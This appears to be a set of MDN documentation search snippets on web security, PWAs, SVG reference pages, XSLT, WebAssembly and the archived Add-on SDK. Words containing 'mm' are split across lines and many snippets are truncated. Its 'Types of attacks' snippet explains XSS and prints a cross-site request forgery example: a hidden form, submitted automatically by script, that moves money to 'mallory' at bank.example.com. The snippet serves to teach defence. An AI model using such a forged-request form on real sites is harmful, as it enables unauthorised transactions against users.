...p) hpkp is used by servers to instruct a client to associate a specific public key with the server going forward in order to decrease the likelihood of man-in-the-middle attacks http strict transport security (hsts) hsts is used by servers to let them protect themselves from protocol downgrade and cookie hijack attacks by letting sites tell clients that they can only use https to co
mmunicate with the server http/2 while http/2 technically does not have to use encryption, most browser developers are only supporting it when used with https, so it can be thought of in that regard as being security-related permissions api provides a way to determine the status of permissions for the current browser context transport layer security (tls); formerly k...
... while specifications for these technologies either state or reco
mmend tactics for handling situations like this, browsers may offer different solutions to improve security even further or to try new features, or try to reduce complexity for users, among other possible reasons.
How to make PWAs installable - Progressive web apps (PWAs)
the js13kpwa.webmanifest file of the js13kpwa web app is included in the <head> block of the index.html file using the following line of code: <link rel="manifest" href="js13kpwa.webmanifest"> there are a few co
mmon kinds of manifest file that have been used in the past: manifest.webapp was popular in firefox os app manifests, and many use manifest.json for web manifests as the contents are organized in a json structure.
...beyond that, everything is optional, though the description, short_name, and start_url fields are reco
mmended.
... su
mmary in this article, we learned about how we can make pwas installable with a properly-configured web manifest, and how the user can then install the pwa with the "add to home screen" feature of their browser.
Graphic design for responsive sites - Progressive web apps (PWAs)
for example, if your desktop layout includes a large header graphic and several progra
mmatic graphics (e.g.
... progra
mmatic images you should also try to use progra
mmatic/vector graphics as much as possible, as they theoretically scale infinitely so will still look crisp at high resolutions.
... css as well as adding progra
mmatic graphical effects to links (and anywhere else you might want them), css3 also allows you to write declarative animations and transitions.
Structural overview of progressive web apps - Progressive web apps (PWAs)
that way, the next time someone visits the app from the device, the ui loads from the cache i
mmediately and any new content is requested from the server (if it isn’t available in the cache already).
...you can <a href="https://github.com/mdn/pwa-examples/blob/master/js13kpwa"> fork js13kpwa on github</a> to check its source code.</p> <button id="notifications">request du
mmy notifications</button> <section id="content"> // content inserted in here </section> </main> <footer> <p>© js13kgames 2012-2018, created and maintained by <a href="http://end3r.com"> andrzej mazur</a> from <a href="http://enclavegames.com">enclave games</a>.</p> </footer> </body> </html> the <head> section contains basic information about the app, including its title, description,...
... { slug: 'e
mma-3d', name: 'e
mma-3d', author: 'prateek roushan', twitter: '', website: '', github: 'github.com/coderprateek/e
mma-3d' } ]; each entry in the array games describes a specific game, and has a corresponding image file in the data/img/ directory.
alignment-baseline - SVG: Scalable Vector Graphics
specifications specification status co
mment css inline layoutthe definition of 'alignment-baseline' in that specification.
... candidate reco
mmendation refers to the definition in css inline layout and notes the changes to auto, before-edge, after-edge, text-before-edge, and text-after-edge scalable vector graphics (svg) 1.1 (second edition)the definition of 'alignment-baseline' in that specification.
... reco
mmendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
amplitude - SVG: Scalable Vector Graphics
the amplitude attribute controls the amplitude of the ga
mma function of a component transfer element when its type attribute is ga
mma.
... four elements are using this attribute: <fefunca>, <fefuncb>, <fefuncg>, and <fefuncr> usage notes value <number> default value 1 animatable yes specifications specification status co
mment filter effects module level 1the definition of 'amplitude' in that specification.
... reco
mmendation initial definition ...
vert-adv-y - SVG: Scalable Vector Graphics
value <number> default value <font>ʼs vert-adv-y value animatable no <number> this value indicates the vertical advance of the glyph in vertical direction specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'vert-adv-y for <glyph> and <missing-glyph>' in that specification.
... reco
mmendation initial definition for <glyph> and <missing-glyph> scalable vector graphics (svg) 1.1 (second edition)the definition of 'vert-adv-y for <font>' in that specification.
... reco
mmendation initial definition for <font> ...
widths - SVG: Scalable Vector Graphics
only one element is using this attribute: <font-face> usage notes value <number> default value none animatable no <number> this value is a co
mma-separated list of ucs range values as defined in iso 10646, each followed by one or more glyph widths.
... specifications specification status co
mment scalable vector graphics (svg) 1.1 (second edition)the definition of 'widths' in that specification.
... reco
mmendation initial definition ...
xlink:title - SVG: Scalable Vector Graphics
specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'seed' in that specification.
... candidate reco
mmendation deprecated the attribute and made it only apply to <a>, <image>, <lineargradient>, <pattern>, <radialgradient>, <script>, <textpath>, and <use> scalable vector graphics (svg) 1.1 (second edition)the definition of 'seed' in that specification.
... reco
mmendation initial definition ...
xml:space - SVG: Scalable Vector Graphics
specifications specification status co
mment scalable vector graphics (svg) 2the definition of 'xml:space' in that specification.
... candidate reco
mmendation deprecates the attribute and suggests to use white-space instead.
... reco
mmendation initial definition ...
z - SVG: Scalable Vector Graphics
value <number> default value 1 animatable yes specifications specification status co
mment filter effects module level 1the definition of 'z for <fepointlight>' in that specification.
... reco
mmendation initial definition for <fepointlight> scalable vector graphics (svg) 1.1 (second edition)the definition of 'z for <fespotlight>' in that specification.
... reco
mmendation initial definition for <fespotlight> ...
<a> - SVG: Scalable Vector Graphics
permitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<a>' in that specification.
... candidate reco
mmendation replaced xlink:href attribute by href scalable vector graphics (svg) 1.1 (second edition)the definition of '<a>' in that specification.
... reco
mmendation initial definition ...
<circle> - SVG: Scalable Vector Graphics
scription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<circle>' in that specification.
... candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<circle>' in that specification.
... reco
mmendation initial definition ...
<clipPath> - SVG: Scalable Vector Graphics
shape-rendering, stroke, stroke-dasharray, stroke-dashoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility usage notes categoriesnonepermitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elements<text>, <use> specifications specification status co
mment css masking module level 1the definition of '<clippath>' in that specification.
... candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<clippath>' in that specification.
... reco
mmendation initial definition ...
<defs> - SVG: Scalable Vector Graphics
permitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<defs>' in that specification.
... candidate reco
mmendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<defs>' in that specification.
... reco
mmendation initial definition ...
<desc> - SVG: Scalable Vector Graphics
esc> </circle> </svg> attributes this element only includes global attributes global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesdescriptive elementpermitted contentany elements or character data specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<desc>' in that specification.
... candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<desc>' in that specification.
... reco
mmendation initial definition ...
<ellipse> - SVG: Scalable Vector Graphics
scription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<ellipse>' in that specification.
... candidate reco
mmendation added auto value for rx and ry scalable vector graphics (svg) 1.1 (second edition)the definition of '<ellipse>' in that specification.
... reco
mmendation initial definition ...
<feColorMatrix> - SVG: Scalable Vector Graphics
it is reco
mmended to start manipulating the matrix from here.
...<text x="70" y="330">huerotate</text> <!-- luminancetoalpha --> <filter id="colormelta"> <fecolormatrix in="sourcegraphic" type="luminancetoalpha" /> </filter> <use href="#circles" transform="translate(0 350)" filter="url(#colormelta)" /> <text x="70" y="400">luminancetoalpha</text> </svg> result screenshotlive sample specifications specification status co
mment filter effects module level 1the definition of '<fecolormatrix>' in that specification.
... reco
mmendation initial definition ...
<feComponentTransfer> - SVG: Scalable Vector Graphics
</fecomponenttransfer> </filter> <filter id="linear" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="linear" slope="0.5" intercept="0"></fefuncr> <fefuncg type="linear" slope="0.5" intercept="0.25"></fefuncg> <fefuncb type="linear" slope="0.5" intercept="0.5"></fefuncb> </fecomponenttransfer> </filter> <filter id="ga
mma" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="ga
mma" amplitude="4" exponent="7" offset="0"></fefuncr> <fefuncg type="ga
mma" amplitude="4" exponent="4" offset="0"></fefuncg> <fefuncb type="ga
mma" amplitude="4" exponent="1" offset="0"></fefuncb> </fecomponenttransfer> </filter> </defs> <g font-weight="bold"> <text x="0...
...ble lookup</text> <rect x="0" y="130" width="100%" height="20" style="filter:url(#table)"></rect> <text x="0" y="170">discrete table lookup</text> <rect x="0" y="180" width="100%" height="20" style="filter:url(#discrete)"></rect> <text x="0" y="220">linear function</text> <rect x="0" y="230" width="100%" height="20" style="filter:url(#linear)"></rect> <text x="0" y="270">ga
mma function</text> <rect x="0" y="280" width="100%" height="20" style="filter:url(#ga
mma)"></rect> </g> </svg> css rect { fill: url(#rainbow); } result specifications specification status co
mment filter effects module level 1the definition of '<fecomponenttransfer>' in that specification.
... reco
mmendation initial definition ...
<g> - SVG: Scalable Vector Graphics
permitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<g>' in that specification.
... candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<g>' in that specification.
... reco
mmendation initial definition ...
<image> - SVG: Scalable Vector Graphics
example basic rendering of a png image in svg: svg <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image href="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" height="200" width="200"/> </svg> result specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<image>' in that specification.
... candidate reco
mmendation allows omitting height and width scalable vector graphics (svg) 1.1 (second edition)the definition of '<image>' in that specification.
... reco
mmendation initial definition ...
<line> - SVG: Scalable Vector Graphics
scription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<line>' in that specification.
... candidate reco
mmendation changed the x1, y1, x2 and y2 attributes to take <length>s, <percentage>s and <number>s scalable vector graphics (svg) 1.1 (second edition)the definition of '<line>' in that specification.
... reco
mmendation initial definition ...
<linearGradient> - SVG: Scalable Vector Graphics
hoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility xlink attributes xlink:href, xlink:title usage notes categoriesgradient elementpermitted contentany number of the following elements, in any order:descriptive elements<animate>, <animatetransform>, <set>, <stop> specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<lineargradient>' in that specification.
... candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<lineargradient>' in that specification.
... reco
mmendation initial definition ...
<marker> - SVG: Scalable Vector Graphics
permitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status co
mment svg markersthe definition of '<marker>' in that specification.
... candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<marker>' in that specification.
... reco
mmendation initial definition ...
<mask> - SVG: Scalable Vector Graphics
permitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status co
mment css masking module level 1the definition of '<mask>' in that specification.
... candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<mask>' in that specification.
... reco
mmendation initial definition ...
<path> - SVG: Scalable Vector Graphics
required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesgraphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status co
mment svg pathsthe definition of '<path>' in that specification.
... candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<path>' in that specification.
... reco
mmendation initial definition ...
<pattern> - SVG: Scalable Vector Graphics
permitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<pattern>' in that specification.
... candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<pattern>' in that specification.
... reco
mmendation initial definition ...
<polygon> - SVG: Scalable Vector Graphics
scription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<polygon>' in that specification.
... candidate reco
mmendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of '<polygon>' in that specification.
... reco
mmendation initial definition ...
<polyline> - SVG: Scalable Vector Graphics
scription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<polyline>' in that specification.
... candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<polyline>' in that specification.
... reco
mmendation initial definition ...
<radialGradient> - SVG: Scalable Vector Graphics
hoffset, stroke-linecap, stroke-linejoin, stroke-miterlimit, stroke-opacity, stroke-width, transform, vector-effect, visibility xlink attributes xlink:href, xlink:title usage notes categoriesgradient elementpermitted contentany number of the following elements, in any order:descriptive elements<animate>, <animatetransform>, <set>, <stop> specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<radialgradient>' in that specification.
... candidate reco
mmendation added fr attribute scalable vector graphics (svg) 1.1 (second edition)the definition of '<radialgradient>' in that specification.
... reco
mmendation initial definition ...
<rect> - SVG: Scalable Vector Graphics
scription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesbasic shape element, graphics element, shape elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<rect>' in that specification.
... candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<rect>' in that specification.
... reco
mmendation initial definition ...
<script> - SVG: Scalable Vector Graphics
value type: <url> ; default value: none; animatable: no global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesnonepermitted contentany elements or character data specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<script>' in that specification.
... candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<script>' in that specification.
... reco
mmendation initial definition ...
<stop> - SVG: Scalable Vector Graphics
tyling attributes class, style event attributes global event attributes, document element event attributes presentation attributes most notably: color, display, stop-color, stop-opacity, visibility usage notes categoriesgradient elementpermitted contentany number of the following elements, in any order:<animate>, <animatecolor>, <set> specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<stop>' in that specification.
... candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<stop>' in that specification.
... reco
mmendation initial definition ...
<style> - SVG: Scalable Vector Graphics
value type: <string>; default value: none; animatable: no global attributes core attributes most notably: id styling attributes class, style event attributes global event attributes, document element event attributes usage notes categoriesnonepermitted contentany elements or character data specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<style>' in that specification.
... candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<style>' in that specification.
... reco
mmendation initial definition ...
<svg> - SVG: Scalable Vector Graphics
permitted contentany number of the following elements, in any order:animation elementsdescriptive elementsshape elementsstructural elementsgradient elements<a>, <altglyphdef>, <clippath>, <color-profile>, <cursor>, <filter>, <font>, <font-face>, <foreignobject>, <image>, <marker>, <mask>, <pattern>, <script>, <style>, <switch>, <text>, <view> specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<svg>' in that specification.
... candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<svg>' in that specification.
... reco
mmendation initial definition ...
<switch> - SVG: Scalable Vector Graphics
<text systemlanguage="en-au">g'day!</text> <text systemlanguage="en">hello!</text> <text systemlanguage="es">hola!</text> <text systemlanguage="fr">bonjour!</text> <text systemlanguage="ja">こんにちは</text> <text systemlanguage="ru">Привет!</text> <text>☺</text> </switch> </svg> result specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<switch>' in that specification.
... candidate reco
mmendation clarified the evaluation of the systemlanguage attribute scalable vector graphics (svg) 1.1 (second edition)the definition of '<switch>' in that specification.
... reco
mmendation initial definition ...
<symbol> - SVG: Scalable Vector Graphics
specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<symbol>' in that specification.
... candidate reco
mmendation allowed geometry properties to be specified on a symbol scalable vector graphics (svg) 1.1 (second edition)the definition of '<symbol>' in that specification.
... reco
mmendation initial definition ...
<text> - SVG: Scalable Vector Graphics
a-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriesgraphics element, text content elementpermitted contentcharacter data and any number of the following elements, in any order:animation elementsdescriptive elementstext content elements<a> specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<text>' in that specification.
... candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<text>' in that specification.
... reco
mmendation initial definition ...
<textPath> - SVG: Scalable Vector Graphics
aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role xlink attributes xlink:title usage notes categoriestext content element, text content child elementpermitted contentcharacter data and any number of the following elements, in any order:descriptive elements<a>, <altglyph>, <animate>, <animatecolor>, <set>, <tref>, <tspan> specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<textpath>' in that specification.
... candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<textpath>' in that specification.
... reco
mmendation initial definition ...
<tspan> - SVG: Scalable Vector Graphics
ected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role usage notes categoriestext content element, text content child elementpermitted contentcharacter data and any number of the following elements, in any order:descriptive elements<a>, <altglyph>, <animate>, <animatecolor>, <set>, <tref>, <tspan> specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<tspan>' in that specification.
... candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<tspan>' in that specification.
... reco
mmendation initial definition ...
<use> - SVG: Scalable Vector Graphics
a-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role xlink attributes xlink:href, xlink:title usage notes categoriesgraphics element, graphics referencing element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<use>' in that specification.
... candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<use>' in that specification.
... reco
mmendation initial definition ...
<view> - SVG: Scalable Vector Graphics
specifications specification status co
mment scalable vector graphics (svg) 2the definition of '<view>' in that specification.
... candidate reco
mmendation scalable vector graphics (svg) 1.1 (second edition)the definition of '<view>' in that specification.
... reco
mmendation initial definition ...
SVG as an Image - SVG: Scalable Vector Graphics
specifications specification status co
mment html5the definition of 'svg within <img> element' in that specification.
... reco
mmendation defines the usage of svg within <img> elements.
... candidate reco
mmendation defines the usage of svg within the background-image property.
Basic shapes - SVG: Scalable Vector Graphics
ellipse an <ellipse> is a more general form of the <circle> element, where you can scale the x and y radius (co
mmonly refferred to as the semimajor and semiminor axes in maths) of the circle separately.
...each number must be separated by a space, co
mma, eol, or a line feed character.
... <polygon points="50, 160 55, 180 70, 180 60, 190 65, 205 50, 195 35, 205 40, 190 30, 180 45, 180"/> points a list of points, each number separated by a space, co
mma, eol, or a line feed character.
Fills and Strokes - SVG: Scalable Vector Graphics
lone="no"?> <svg width="200" height="150" xmlns="http://www.w3.org/2000/svg" version="1.1"> <path d="m 10 75 q 50 10 100 75 t 190 75" stroke="black" stroke-linecap="round" stroke-dasharray="5,10,5" fill="none"/> <path d="m 10 75 l 190 75" stroke="red" stroke-linecap="round" stroke-width="1" stroke-dasharray="5,5" fill="none"/> </svg> the stroke-dasharray attribute takes a series of co
mma-separated numbers as its argument.
... note: unlike <path>s, these numbers must be co
mma-separated (whitespace is ignored).
...attributes like width, height, or <path> co
mmands cannot be set through css.
Getting started - SVG: Scalable Vector Graphics
the reco
mmended filename extension for these files is ".svg" (all lowercase).
...the reco
mmended filename extension for these files is ".svgz" (all lowercase).
... server misconfiguration is a very co
mmon reason for svg failing to load, so make sure you check yours.
Subresource Integrity - Web security
but it’s co
mmon to use the shorthand "hash" to mean cryptographic digest, so that's what's used in this article.
... tools for generating sri hashes you can generate sri hashes from the co
mmand-line with openssl using a co
mmand invocation such as this: cat filename.js | openssl dgst -sha384 -binary | openssl base64 -a or with shasum using a co
mmand invocation such as this: shasum -b -a 384 filename.js | awk '{ print $1 }' | xxd -r -p | base64 notes: the pipe-through-xxd step takes the hexadecimal output from shasum and converts it to binary.
... specifications specification status co
mment subresource integrity reco
mmendation fetch living standard ...
Types of attacks - Web security
according to the open web application security project, xss was the seventh most co
mmon web app vulnerability in 2017.
...the variety of attacks based on xss is almost limitless, but they co
mmonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to a webpage controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.
...for endpoints that require a post request, it's possible to progra
mmatically trigger a <form> submit (perhaps in an invisible <iframe>) when the page is loaded: <form action="https://bank.example.com/withdraw" method="post"> <input type="hidden" name="account" value="bob"> <input type="hidden" name="amount" value="1000000"> <input type="hidden" name="for" value="mallory"> </form> <script>window.addeventlistener('domcontentloaded', (e) => { document.querysel...
Web security
it uses ssl or tls to encrypt all co
mmunication between a client and a server.
... secure contexts a secure context is a window or worker for which there is reasonable confidence that the content has been delivered securely (via https/tls), and for which the potential for co
mmunication with contexts that are not secure is limited.
... decryption digital certificate dtls encryption forbidden header name forbidden response header name hash hmac hpkp hsts https key mitm owasp preflight request public-key cryptography reporting directive robots.txt same-origin policy session hijacking sql injection sy
mmetric-key cryptography tofu tls ...
Index - XPath
found 57 pages: # page tags and su
mmary 1 xpath css selectors, dom, jxon, landing, path, xml, xpath, xslt xpath stands for xml path language.
... 3 ancestor axe, xpath no su
mmary!
... 17 functions transforming_xml_with_xslt, xpath, xpath_reference, xslt, xslt_reference no su
mmary!
XSLT elements reference - XSLT: Extensible Stylesheet Language Transformations
e="image-dir">/images</xsl:variable> the expression to be evaluated is placed inside curly brackets: <img src="{$image-dir}/mygraphic.jpg"/> this would result in the following: <img src="/images/mygraphic.jpg"/> the element annotations that follow include a description, a syntax listing, a list of required and optional attributes, a description of type and position, its source in the w3c reco
mmendation and an explanation of the degree of present gecko support.
...<xsl:apply-imports><xsl:apply-templates><xsl:attribute-set><xsl:attribute><xsl:call-template><xsl:choose><xsl:co
mment><xsl:copy-of><xsl:copy><xsl:decimal-format><xsl:element><xsl:fallback><xsl:for-each><xsl:if><xsl:import><xsl:include><xsl:key><xsl:message><xsl:namespace-alias><xsl:number><xsl:otherwise><xsl:output><xsl:param><xsl:preserve-space><xsl:processing-instruction><xsl:sort><xsl:strip-space><xsl:stylesheet><xsl:template><xsl:text><xsl:transform><xsl:value-of><xsl:variable><xsl:when><xsl:with-param> <xsl:apply-imports> <xsl:apply-templates> <xsl:attribute> <xsl:attribute-set> <xsl:...
...call-template> <xsl:choose> <xsl:co
mment> <xsl:copy> <xsl:copy-of> <xsl:decimal-format> <xsl:element> <xsl:fallback> (not supported) <xsl:for-each> <xsl:if> <xsl:import> (mostly supported) <xsl:include> <xsl:key> <xsl:message> <xsl:namespace-alias> (not supported) <xsl:number> (partially supported) <xsl:otherwise> <xsl:output> (partially supported) <xsl:param> <xsl:preserve-space> <xsl:processing-instruction> <xsl:sort> <xsl:strip-space> <xsl:stylesheet> (partially supported) <xsl:template> <xsl:text> (partially supported) <xsl:transform> <xsl:value-of> (partially supported) <xsl:variable> <xsl:when> <xsl:with-param> ...
XSLT: Extensible Stylesheet Language Transformations
xslt & xpath tutorial the topxml xslt tutorial introduces you to the basics of xslt concepts, syntax, and progra
mming.
... co
mmon xslt errors this article lists some co
mmon problems using xslt in firefox.
... co
mmunity view mozilla forums...
WebAssembly Concepts - WebAssembly
webassembly goals webassembly is being created as an open standard inside the w3c webassembly co
mmunity group with the following goals: be fast, efficient, and portable — webassembly code can be executed at near-native speed across different platforms by taking advantage of co
mmon hardware capabilities.
...in fact, the basic unit of webassembly code is called a module and webassembly modules are sy
mmetric in many ways to es2015 modules.
... su
mmary this article has given you an explanation of what webassembly is, why it is so useful, how it fits into the web, and how you can make use of it.
Compiling an Existing C Module to WebAssembly - WebAssembly
emscripten provides emconfigure and e
mmake to wrap these co
mmands and inject the appropriate parameters.
... depending on the size of your image, you might run into an error where wasm can't grow the memory enough to acco
mmodate both the input and the output image: luckily, the solution to this problem is in the error message.
... you just need to add -s allow_memory_growth=1 to your compilation co
mmand.
SDK API Lifecycle - Archive of obsolete content
deprecation process deprecation in the chosen release, the sdk team will co
mmunicate the module's deprecation: update the module's stability index to be "deprecated" include a deprecation notice in the release notes, the add-ons blog, and the jetpack google group.
...the sdk team will remove the corresponding documentation, and co
mmunicate the removal in the usual ways: the release notes, the add-ons blog, and the jetpack google group.
SDK and XUL Comparison - Archive of obsolete content
advantages of the sdk simplicity the sdk provides high-level javascript apis to simplify many co
mmon tasks in add-on development, and tool support which greatly simplifies the process of developing, testing, and packaging an add-on.
... note that by doing this you lose some of the benefits of progra
mming with the sdk including simplicity, compatibility, and to a lesser extent security.
Working with Events - Archive of obsolete content
the add-on sdk supports event-driven progra
mming.
... additionally, if you're using content scripts to interact with web content, you can define your own events and use them to co
mmunicate between the main add-on code and the content scripts.
Guides - Archive of obsolete content
modules learn about the module system used by the sdk (which is based on the co
mmonjs specification), how sandboxes and compartments can be used to improve security, and about the built-in sdk module loader, known as cuddlefish.
... content scripts guide an overview of content scripts, including: what they are, what they can do, how to load them, how to co
mmunicate with them.
self - Archive of obsolete content
note that the self module is completely different from the global self object accessible to content scripts, which is used by a content script to co
mmunicate with the add-on code.
...this data lives in the add-on's data/ directory, i
mmediately below the package.json file.
simple-storage - Archive of obsolete content
important: if you use this method, you must end your debugging session by quitting firefox normally, not by cancelling the shell co
mmand.
... accessing storage from the console in the add-on debugger, you can access your add-on's simple-storage progra
mmatically from the console using the following: loader.modules['resource://gre/modules/co
mmonjs/sdk/simple-storage.js'].exports.storage clarification from mozilla needed: writing the above line in add-on debugger console results in "referenceerror: loader is not defined".
ui - Archive of obsolete content
this document can refer to bundled css and javascript files, and your main add-on can co
mmunicate with a frame script using message passing.
...this document can refer to bundled css and javascript files, and your main add-on can co
mmunicate with a frame script using message passing.
content/symbiont - Archive of obsolete content
this may take one of the following values: "start": load content scripts i
mmediately after the document element for the page is inserted into the dom, but before the dom content itself has been loaded "ready": load content scripts once dom content has been loaded, corresponding to the domcontentloaded event "end": load content scripts once all the content (dom, js, css, images) for the page has been loaded, at the time the window.onload event fires thi...
...this may have one of the following values: "start": load content scripts i
mmediately after the document element for the page is inserted into the dom, but before the dom content itself has been loaded "ready": load content scripts once dom content has been loaded, corresponding to the domcontentloaded event "end": load content scripts once all the content (dom, js, css, images) for the page has been loaded, at the time the window.onload event fires contentscriptoption...
content/worker - Archive of obsolete content
parameters options : object required options: name type window object the content window to create javascript sandbox for co
mmunication with.
... note that you can't co
mmunicate with the content script in response to this event.
system/child_process - Archive of obsolete content
the sdk versions don't: so when you specify a co
mmand you must pass in a complete path to the co
mmand or use the env option to set up the child process environment.
... const { emit } = require('sdk/event/core'); const { spawn } = require('sdk/system/child_process'); var proc = spawn("/bin/cat"); emit(proc.stdin, 'data', "hello from add-on code"); emit(proc.stdin, 'end'); using child_process in non-jpm extensions // import sdk stuff const co
mmonjs_uri = 'resource://gre/modules/co
mmonjs'; const { require } = cu.import(co
mmonjs_uri + '/toolkit/require.js', {}); var child_process = require('sdk/system/child_process'); // use it in the same way as in the example above ...
console - Archive of obsolete content
if you have started firefox for your add-on from the co
mmand line with jpm run or jpm test then these messages appear in the co
mmand shell you used.
... both these preferences can be set progra
